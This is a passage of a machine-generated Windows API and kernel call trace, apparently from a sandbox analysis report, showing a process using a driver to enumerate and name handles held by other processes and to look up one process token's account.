ApcState=0xfffff880044355d0) [0122.351] ObReferenceObjectByHandle (in: Handle=0xd4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002f68f20, HandleInformation=0x0) returned 0x0 [0122.351] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.351] PsReleaseProcessExitSynchronization () returned 0x2 [0122.351] ObfDereferenceObject (Object=0xfffffa80031ba920) returned 0xd0 [0122.351] ObQueryNameString (in: Object=0xfffffa8002f68f20, ObjectNameInfo=0xfffffa8001ffa044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001ffa044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.351] ObfDereferenceObject (Object=0xfffffa8002f68f20) returned 0x1 [0122.351] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.351] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.351] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.352] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0122.352] PsLookupProcessByProcessId (in: ProcessId=0x3f8, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.352] PsAcquireProcessExitSynchronization () returned 0x0 [0122.352] KeStackAttachProcess (in: PROCESS=0xfffffa80031ba920, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80031ba920, ApcState=0xfffff880044355d0) [0122.352] ObReferenceObjectByHandle (in: Handle=0x104, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0122.352] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.352] PsReleaseProcessExitSynchronization () returned 0x2 [0122.352] ObfDereferenceObject (Object=0xfffffa80031ba920) returned 0xd0 [0122.352] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8001ffb044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001ffb044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.352] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0122.352] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.352] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.352] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.352] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0122.352] PsLookupProcessByProcessId (in: ProcessId=0x3f8, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.352] PsAcquireProcessExitSynchronization () returned 0x0 [0122.352] KeStackAttachProcess (in: PROCESS=0xfffffa80031ba920, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80031ba920, ApcState=0xfffff880044355d0) [0122.352] ObReferenceObjectByHandle (in: Handle=0x20c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0019a8fc0, HandleInformation=0x0) returned 0x0 [0122.352] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.352] PsReleaseProcessExitSynchronization () returned 0x2 [0122.352] ObfDereferenceObject (Object=0xfffffa80031ba920) returned 0xd0 [0122.352] ObQueryNameString (in: Object=0xfffff8a0019a8fc0, ObjectNameInfo=0xfffffa800201f044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa800201f044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.352] ObfDereferenceObject (Object=0xfffff8a0019a8fc0) returned 0xa [0122.352] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.352] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.352] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.353] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x8c, lpOverlapped=0x0) returned 1 [0122.353] PsLookupProcessByProcessId (in: ProcessId=0x3f8, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.353] PsAcquireProcessExitSynchronization () returned 0x0 [0122.353] KeStackAttachProcess (in: PROCESS=0xfffffa80031ba920, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80031ba920, ApcState=0xfffff880044355d0) [0122.353] ObReferenceObjectByHandle (in: Handle=0x39c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800346fbf0, HandleInformation=0x0) returned 0x0 [0122.353] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.353] PsReleaseProcessExitSynchronization () returned 0x2 [0122.353] ObfDereferenceObject (Object=0xfffffa80031ba920) returned 0xd0 [0122.353] ObQueryNameString (in: Object=0xfffffa800346fbf0, ObjectNameInfo=0xfffffa800202c044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa800202c044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.353] ObfDereferenceObject (Object=0xfffffa800346fbf0) returned 0x1 [0122.353] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.353] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.353] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x218) returned 0xc0 [0122.353] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0122.353] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435668, HandleInformation=0x0 | out: Object=0xfffff88004435668*=0xfffffa80031c1b30, HandleInformation=0x0) returned 0x0 [0122.353] ObOpenObjectByPointer (in: Object=0xfffffa80031c1b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004435670 | out: Handle=0xfffff88004435670*=0xffffffff80000a1c) returned 0x0 [0122.353] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb9 [0122.353] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a1c, DesiredAccess=0x8, TokenHandle=0xfffffa80022554c0 | out: TokenHandle=0xfffffa80022554c0*=0xc8) returned 0x0 [0122.353] ZwClose (Handle=0xffffffff80000a1c) returned 0x0 [0122.353] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.353] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0122.353] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x14), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="NETWORK SERVICE", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0122.355] CloseHandle (hObject=0xc8) returned 1 [0122.355] CloseHandle (hObject=0xc0) returned 1 [0122.355] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.355] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0122.355] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.355] PsAcquireProcessExitSynchronization () returned 0x0 [0122.355] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880044355d0) [0122.355] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80031d7b30, HandleInformation=0x0) returned 0x0 [0122.355] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.355] PsReleaseProcessExitSynchronization () returned 0x2 [0122.355] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb7 [0122.355] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80020cd044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa80020cd044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.355] ObfDereferenceObject (Object=0xfffffa80031d7b30) returned 0x1 [0122.355] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.355] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.355] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.355] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0122.355] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.355] PsAcquireProcessExitSynchronization () returned 0x0 [0122.355] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880044355d0) [0122.355] ObReferenceObjectByHandle (in: Handle=0x5c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80031e1220, HandleInformation=0x0) returned 0x0 [0122.355] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.355] PsReleaseProcessExitSynchronization () returned 0x2 [0122.356] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb7 [0122.356] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa80020db044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa80020db044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.356] ObfDereferenceObject (Object=0xfffffa80031e1220) returned 0x1 [0122.356] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.356] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.356] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.356] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0122.356] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.356] PsAcquireProcessExitSynchronization () returned 0x0 [0122.356] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880044355d0) [0122.356] ObReferenceObjectByHandle (in: Handle=0x11c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002f68480, HandleInformation=0x0) returned 0x0 [0122.356] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.356] PsReleaseProcessExitSynchronization () returned 0x2 [0122.356] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb7 [0122.356] ObQueryNameString (in: Object=0xfffffa8002f68480, ObjectNameInfo=0xfffffa80019ff7c4, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019ff7c4, ReturnLength=0xfffff88004435550) returned 0x0 [0122.356] ObfDereferenceObject (Object=0xfffffa8002f68480) returned 0x3 [0122.356] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.356] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.356] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.356] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x72, lpOverlapped=0x0) returned 1 [0122.356] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.356] PsAcquireProcessExitSynchronization () returned 0x0 [0122.356] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880044355d0) [0122.356] ObReferenceObjectByHandle (in: Handle=0x124, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002f66e70, HandleInformation=0x0) returned 0x0 [0122.356] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.356] PsReleaseProcessExitSynchronization () returned 0x2 [0122.356] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb7 [0122.356] ObQueryNameString (in: Object=0xfffffa8002f66e70, ObjectNameInfo=0xfffffa80037a2444, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80037a2444, ReturnLength=0xfffff88004435550) returned 0x0 [0122.356] ObfDereferenceObject (Object=0xfffffa8002f66e70) returned 0x3 [0122.356] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.356] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.356] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.356] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0122.356] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.356] PsAcquireProcessExitSynchronization () returned 0x0 [0122.357] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880044355d0) [0122.357] ObReferenceObjectByHandle (in: Handle=0x1b0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002916070, HandleInformation=0x0) returned 0x0 [0122.357] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.357] PsReleaseProcessExitSynchronization () returned 0x2 [0122.357] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb7 [0122.357] ObQueryNameString (in: Object=0xfffffa8002916070, ObjectNameInfo=0xfffffa800341c7c4, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa800341c7c4, ReturnLength=0xfffff88004435550) returned 0x0 [0122.357] ObfDereferenceObject (Object=0xfffffa8002916070) returned 0x2 [0122.357] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.357] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.357] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.357] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0122.357] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.357] PsAcquireProcessExitSynchronization () returned 0x0 [0122.357] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880044355d0) [0122.357] ObReferenceObjectByHandle (in: Handle=0x1e0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003303810, HandleInformation=0x0) returned 0x0 [0122.357] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.357] PsReleaseProcessExitSynchronization () returned 0x2 [0122.357] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb7 [0122.357] ObQueryNameString (in: Object=0xfffffa8002824e40, ObjectNameInfo=0xfffffa80037a3644, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa80037a3644, ReturnLength=0xfffff88004435508) returned 0x0 [0122.357] ObfDereferenceObject (Object=0xfffffa8003303810) returned 0x1 [0122.357] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.357] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.357] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.357] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x46, lpOverlapped=0x0) returned 1 [0122.357] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.357] PsAcquireProcessExitSynchronization () returned 0x0 [0122.357] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880044355d0) [0122.357] ObReferenceObjectByHandle (in: Handle=0x1e4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003305c10, HandleInformation=0x0) returned 0x0 [0122.357] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.357] PsReleaseProcessExitSynchronization () returned 0x2 [0122.357] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb7 [0122.357] ObQueryNameString (in: Object=0xfffffa80032a3720, ObjectNameInfo=0xfffffa8002101044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8002101044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.358] ObfDereferenceObject (Object=0xfffffa8003305c10) returned 0x1 [0122.358] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.358] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.358] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.358] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0122.358] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.358] PsAcquireProcessExitSynchronization () returned 0x0 [0122.358] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880044355d0) [0122.358] ObReferenceObjectByHandle (in: Handle=0x1ec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002471c80, HandleInformation=0x0) returned 0x0 [0122.358] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.358] PsReleaseProcessExitSynchronization () returned 0x2 [0122.358] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb7 [0122.358] ObQueryNameString (in: Object=0xfffffa8002471c80, ObjectNameInfo=0xfffffa8001a07044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a07044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.358] ObfDereferenceObject (Object=0xfffffa8002471c80) returned 0x2 [0122.358] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.358] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.358] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.358] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0122.358] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.358] PsAcquireProcessExitSynchronization () returned 0x0 [0122.358] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880044355d0) [0122.358] ObReferenceObjectByHandle (in: Handle=0x1f0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003306f20, HandleInformation=0x0) returned 0x0 [0122.358] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.358] PsReleaseProcessExitSynchronization () returned 0x2 [0122.358] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb7 [0122.358] ObQueryNameString (in: Object=0xfffffa8003306f20, ObjectNameInfo=0xfffffa8001a06044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a06044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.358] ObfDereferenceObject (Object=0xfffffa8003306f20) returned 0x1 [0122.358] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.358] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.358] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.358] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0122.358] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.358] PsAcquireProcessExitSynchronization () returned 0x0 [0122.359] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880044355d0) [0122.359] ObReferenceObjectByHandle (in: Handle=0x200, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003305ac0, HandleInformation=0x0) returned 0x0 [0122.359] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.359] PsReleaseProcessExitSynchronization () returned 0x2 [0122.359] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb7 [0122.359] ObQueryNameString (in: Object=0xfffffa8003305ac0, ObjectNameInfo=0xfffffa80020df044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80020df044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.359] ObfDereferenceObject (Object=0xfffffa8003305ac0) returned 0x2 [0122.359] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.359] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.359] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.359] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0122.359] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.359] PsAcquireProcessExitSynchronization () returned 0x0 [0122.359] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880044355d0) [0122.359] ObReferenceObjectByHandle (in: Handle=0x204, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003307560, HandleInformation=0x0) returned 0x0 [0122.359] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.359] PsReleaseProcessExitSynchronization () returned 0x2 [0122.359] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb7 